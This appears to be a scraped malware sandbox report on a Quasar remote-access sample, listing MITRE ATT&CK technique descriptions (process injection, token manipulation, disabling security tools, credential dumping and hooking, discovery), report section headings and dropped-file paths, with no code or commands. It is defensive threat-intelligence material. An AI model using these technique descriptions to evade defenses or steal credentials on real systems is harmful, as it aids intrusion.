Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report w85VkFOxiD.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Quasar

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

Persistence and Installation Behavior

HIPS / PFW / Operating System Protection Evasion

Snort Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Change of critical system settings

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\xskudridktfu\vmarkghgnurz.exe

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
w85VkFOxiD.exe

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre